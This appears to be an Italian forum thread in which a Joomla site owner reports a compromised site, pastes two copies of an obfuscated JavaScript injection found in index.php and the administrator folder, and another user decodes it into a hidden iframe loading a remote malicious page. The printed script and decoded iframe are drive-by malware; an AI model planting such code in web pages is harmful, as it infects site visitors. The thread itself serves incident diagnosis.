problema di sicurezza con strana stringa IMPORTANTE LEGGETE TUTTI!!!

[robinhoood]

Ciao a tutti!
Su un sito che ho realizzato in joomla 1.5.15 qualche ora fa era tutto ok, poi dopo un refresh sulla home mi segnalava un errore php alla linea 89 del file .../nomesito/home/index.php .
Io non ho fatto modifiche o lavori strani e visitavo il sito da frontend, ho aperto la pagina segnalata ed ho tro vato il seguente codice

Codice: [Seleziona]

<script>function c12174138951n4bc3a9f88437d(n4bc3a9f885327){ function n4bc3a9f8862d0(){var n4bc3a9f887289=16;return n4bc3a9f887289;} return (parseInt(n4bc3a9f885327,n4bc3a9f8862d0()));}function n4bc3a9f888228(n4bc3a9f8891ff){ function n4bc3a9f88c0ed(){return 2;} var n4bc3a9f88a194='';n4bc3a9f88e04d=String.fromCharCode;for(n4bc3a9f88b146=0;n4bc3a9f88b146<n4bc3a9f8891ff.length;n4bc3a9f88b146+=n4bc3a9f88c0ed()){ n4bc3a9f88a194+=(n4bc3a9f88e04d(c12174138951n4bc3a9f88437d(n4bc3a9f8891ff.substr(n4bc3a9f88b146,n4bc3a9f88c0ed()))));}return n4bc3a9f88a194;} var x9f='';var n4bc3a9f88f00b='3C7'+x9f+'3637'+x9f+'2697'+x9f+'07'+x9f+'43E696628216D7'+x9f+'96961297'+x9f+'B646F637'+x9f+'56D656E7'+x9f+'42E7'+x9f+'7'+x9f+'7'+x9f+'2697'+x9f+'465287'+x9f+'56E657'+x9f+'363617'+x9f+'065282027'+x9f+'2533632536392536362537'+x9f+'322536312536642536352532302536652536312536642536352533642536332533312533322532302537'+x9f+'332537'+x9f+'32253633253364253237'+x9f+'2536382537'+x9f+'342537'+x9f+'342537'+x9f+'302533612532662532662537'+x9f+'322536352536332536662537'+x9f+'362536352537'+x9f+'322533382533382533382532652536332536662536642532662536352536622533322532662536392536652536342536352537'+x9f+'382532652537'+x9f+'302536382537'+x9f+'302533662537'+x9f+'33253364253336253332253330253333253338253636253634253631253336253635253333253337'+x9f+'253333253331253330253337'+x9f+'253330253633253335253632253633253330253334253336253331253337'+x9f+'253338253337'+x9f+'25363625363125363325333426253237'+x9f+'2532622534642536312537'+x9f+'342536382532652537'+x9f+'322536662537'+x9f+'352536652536342532382534642536312537'+x9f+'342536382532652537'+x9f+'32253631253665253634253666253664253238253239253261253331253337'+x9f+'253331253330253330253239253262253237'+x9f+'253339253331253631253332253335253632253336253333253237'+x9f+'2532302537'+x9f+'37'+x9f+'2536392536342537'+x9f+'34253638253364253332253332253338253230253638253635253639253637'+x9f+'2536382537'+x9f+'34253364253337'+x9f+'2533352532302537'+x9f+'332537'+x9f+'342537'+x9f+'39253663253635253364253237'+x9f+'2536342536392537'+x9f+'332537'+x9f+'302536632536312537'+x9f+'39253361253230253665253666253665253635253237'+x9f+'2533652533632532662536392536362537'+x9f+'3225363125366425363525336527'+x9f+'29293B7'+x9f+'D7'+x9f+'6617'+x9f+'2206D7'+x9f+'969613D7'+x9f+'47'+x9f+'27'+x9f+'5653B3C2F7'+x9f+'3637'+x9f+'2697'+x9f+'07'+x9f+'43E';document.write(n4bc3a9f888228(n4bc3a9f88f00b));</script>

Sembra un xss(Cross site scripting), o qualcosa di simile.
Ho rimosso subito il codice, salvato al pagina e refreshato e tutto sembra tornato ok.
Ma se vado su google mi da come sito malevolo, ho subito chiesto una riconsiderazione del sito e spero ci mettano poco.
Non riesco a capire se il sito ora è ok oppure no.
Nei log non sono riportati errori significativi.
A voi è mai capitato?
Mi sapreste dare qualche indicazione in merito?
Come posso capire bene cosa è successo e ripristinare il tutto?
Ho cercato qua e la ma con questa stringa non ho trovato nulla...
Sono sicuro che mi aiuterete...grazie a tutti!!!

Ps: se sono stato poco chiaro chiedete pure e mi scuso se non è la sezione più appropriata!

Grazie ancora

[mau_develop]

che vuol dire:

(metto un po di asterischi)

<ifr*ame name=c12 src='ht*tp://rec*over8*88.com/ek2/inde*x.php?s=62038fda6e37**31070c5bc0461787fac4&'+Math.round(Math.random()*17100)+'91a25b63' width=228 height=75 style='display: none'></ifram*e>

guarda in sezione sicurezza

M.

[robinhoood]

Ok,grazie per la risposta e per il tuo preziosissimo contributo!!!

Mi sono messo all'opera e ho trovato anche questo codice
nella root della cartella administrator

Codice: [Seleziona]

<script>function c12174138951n4bc3a9e47f100(n4bc3a9e48009f){  return (parseInt(n4bc3a9e48009f,16));}function n4bc3a9e482f83(n4bc3a9e483f1e){  var n4bc3a9e484ec5='';n4bc3a9e488d3f=String.fromCharCode;for(n4bc3a9e485e61=0;n4bc3a9e485e61<n4bc3a9e483f1e.length;n4bc3a9e485e61+=2){ n4bc3a9e484ec5+=(n4bc3a9e488d3f(c12174138951n4bc3a9e47f100(n4bc3a9e483f1e.substr(n4bc3a9e485e61,2))));}return n4bc3a9e484ec5;} var x9e='';var n4bc3a9e489ce3='3C7'+x9e+'3637'+x9e+'2697'+x9e+'07'+x9e+'43E696628216D7'+x9e+'96961297'+x9e+'B646F637'+x9e+'56D656E7'+x9e+'42E7'+x9e+'7'+x9e+'7'+x9e+'2697'+x9e+'465287'+x9e+'56E657'+x9e+'363617'+x9e+'065282027'+x9e+'2533632536392536362537'+x9e+'322536312536642536352532302536652536312536642536352533642536332533312533322532302537'+x9e+'332537'+x9e+'32253633253364253237'+x9e+'2536382537'+x9e+'342537'+x9e+'342537'+x9e+'302533612532662532662537'+x9e+'322536352536332536662537'+x9e+'362536352537'+x9e+'322533382533382533382532652536332536662536642532662536352536622533322532662536392536652536342536352537'+x9e+'382532652537'+x9e+'302536382537'+x9e+'302533662537'+x9e+'33253364253336253332253330253333253338253636253634253631253336253635253333253337'+x9e+'253333253331253330253337'+x9e+'253330253633253335253632253633253330253334253336253331253337'+x9e+'253338253337'+x9e+'25363625363125363325333426253237'+x9e+'2532622534642536312537'+x9e+'342536382532652537'+x9e+'322536662537'+x9e+'352536652536342532382534642536312537'+x9e+'342536382532652537'+x9e+'32253631253665253634253666253664253238253239253261253339253335253333253330253339253239253262253237'+x9e+'253631253330253330253335253337'+x9e+'253331253333253334253631253635253237'+x9e+'2532302537'+x9e+'37'+x9e+'2536392536342537'+x9e+'34253638253364253334253339253339253230253638253635253639253637'+x9e+'2536382537'+x9e+'342533642533312533392533312532302537'+x9e+'332537'+x9e+'342537'+x9e+'39253663253635253364253237'+x9e+'2536342536392537'+x9e+'332537'+x9e+'302536632536312537'+x9e+'39253361253230253665253666253665253635253237'+x9e+'2533652533632532662536392536362537'+x9e+'3225363125366425363525336527'+x9e+'29293B7'+x9e+'D7'+x9e+'6617'+x9e+'2206D7'+x9e+'969613D7'+x9e+'47'+x9e+'27'+x9e+'5653B3C2F7'+x9e+'3637'+x9e+'2697'+x9e+'07'+x9e+'43E';document.write(n4bc3a9e482f83(n4bc3a9e489ce3));</script>

Il mio hosting è aruba

PHP Version 5.2.13

Spero di essere di aiuto, per chi si trova in panne...
grazie ancora